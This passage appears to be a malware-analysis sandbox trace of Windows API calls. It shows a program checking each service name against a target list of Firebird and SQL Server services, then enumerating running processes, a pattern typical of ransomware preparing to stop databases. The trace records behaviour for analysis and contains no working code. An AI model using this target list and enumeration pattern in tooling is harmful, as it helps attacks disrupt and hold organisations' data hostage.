	[0132.516] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0132.516] lstrlenW (lpString="CDPSvc") returned 6
	[0132.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0132.516] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0132.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0132.516] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0132.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0132.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0132.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0132.516] lstrlenW (lpString="CryptSvc") returned 8
	[0132.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0132.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0132.517] lstrlenW (lpString="DcomLaunch") returned 10
	[0132.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0132.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0132.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0132.517] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0132.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0132.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0132.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0132.517] lstrlenW (lpString="Dhcp") returned 4
	[0132.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0132.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0132.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0132.517] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0132.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0132.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0132.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0132.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0132.517] lstrlenW (lpString="Dnscache") returned 8
	[0132.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0132.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0132.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0132.518] lstrlenW (lpString="DPS") returned 3
	[0132.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0132.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0132.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0132.518] lstrlenW (lpString="DusmSvc") returned 7
	[0132.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0132.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0132.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0132.518] lstrlenW (lpString="EventLog") returned 8
	[0132.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0132.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0132.518] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0132.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0132.518] lstrlenW (lpString="EventSystem") returned 11
	[0132.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0132.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0132.519] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0132.519] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0132.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0132.519] lstrlenW (lpString="FontCache") returned 9
	[0132.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0132.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0132.519] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0132.519] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0132.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0132.520] lstrlenW (lpString="gpsvc") returned 5
	[0132.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0132.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0132.520] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0132.520] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0132.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0132.520] lstrlenW (lpString="iphlpsvc") returned 8
	[0132.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0132.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0132.520] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0132.520] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0132.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0132.520] lstrlenW (lpString="KeyIso") returned 6
	[0132.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0132.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0132.520] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0132.520] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0132.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0132.520] lstrlenW (lpString="LanmanServer") returned 12
	[0132.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0132.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0132.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0132.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0132.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0132.521] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0132.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0132.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0132.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0132.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0132.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0132.521] lstrlenW (lpString="lfsvc") returned 5
	[0132.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0132.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0132.521] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0132.521] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0132.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0132.521] lstrlenW (lpString="lmhosts") returned 7
	[0132.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0132.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0132.521] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0132.521] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0132.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0132.521] lstrlenW (lpString="LSM") returned 3
	[0132.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0132.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0132.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0132.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0132.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0132.522] lstrlenW (lpString="MpsSvc") returned 6
	[0132.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0132.522] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0132.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0132.522] lstrlenW (lpString="NcbService") returned 10
	[0132.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0132.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0132.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0132.522] lstrlenW (lpString="netprofm") returned 8
	[0132.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0132.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0132.522] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0132.522] lstrlenW (lpString="NgcSvc") returned 6
	[0132.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0132.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0132.522] lstrlenW (lpString="NlaSvc") returned 6
	[0132.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0132.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0132.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0132.523] lstrlenW (lpString="nsi") returned 3
	[0132.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0132.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0132.523] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0132.523] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0132.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0132.523] lstrlenW (lpString="PcaSvc") returned 6
	[0132.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0132.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0132.523] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0132.523] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0132.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0132.523] lstrlenW (lpString="PlugPlay") returned 8
	[0132.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0132.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0132.523] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0132.523] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0132.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0132.523] lstrlenW (lpString="Power") returned 5
	[0132.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0132.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0132.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0132.524] lstrlenW (lpString="ProfSvc") returned 7
	[0132.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0132.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0132.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0132.524] lstrlenW (lpString="RpcEptMapper") returned 12
	[0132.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0132.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0132.524] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0132.524] lstrlenW (lpString="RpcSs") returned 5
	[0132.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0132.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0132.524] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0132.524] lstrlenW (lpString="SamSs") returned 5
	[0132.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0132.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0132.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0132.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0132.525] lstrlenW (lpString="Schedule") returned 8
	[0132.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0132.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0132.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0132.525] lstrlenW (lpString="SecurityHealthService") returned 21
	[0132.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0132.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0132.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0132.525] lstrlenW (lpString="SENS") returned 4
	[0132.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0132.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0132.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0132.525] lstrlenW (lpString="ShellHWDetection") returned 16
	[0132.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0132.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0132.525] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0132.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0132.525] lstrlenW (lpString="Spooler") returned 7
	[0132.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0132.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0132.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0132.526] lstrlenW (lpString="StateRepository") returned 15
	[0132.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0132.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0132.526] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0132.526] lstrlenW (lpString="SysMain") returned 7
	[0132.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0132.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0132.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0132.526] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0132.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0132.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0132.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0132.526] lstrlenW (lpString="Themes") returned 6
	[0132.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0132.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0132.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0132.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0132.527] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0132.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0132.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0132.527] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0132.527] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0132.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596508 | out: hHeap=0x4f0000) returned 1
	[0132.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a0
	[0132.533] Process32FirstW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0132.534] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0132.535] lstrlenW (lpString="System") returned 6
	[0132.535] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0132.536] lstrlenW (lpString="smss.exe") returned 8
	[0132.536] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0132.537] lstrlenW (lpString="csrss.exe") returned 9
	[0132.537] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0132.538] lstrlenW (lpString="wininit.exe") returned 11
	[0132.538] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0132.539] lstrlenW (lpString="csrss.exe") returned 9
	[0132.616] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0132.617] lstrlenW (lpString="winlogon.exe") returned 12
	[0132.617] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0132.618] lstrlenW (lpString="services.exe") returned 12
	[0132.618] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0132.619] lstrlenW (lpString="lsass.exe") returned 9
	[0132.619] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0132.620] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0132.620] Process32NextW (in: hSnapshot=0x2a0, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0132.621] lstrlenW (lpString="fontdrvhost.exe") returned 15
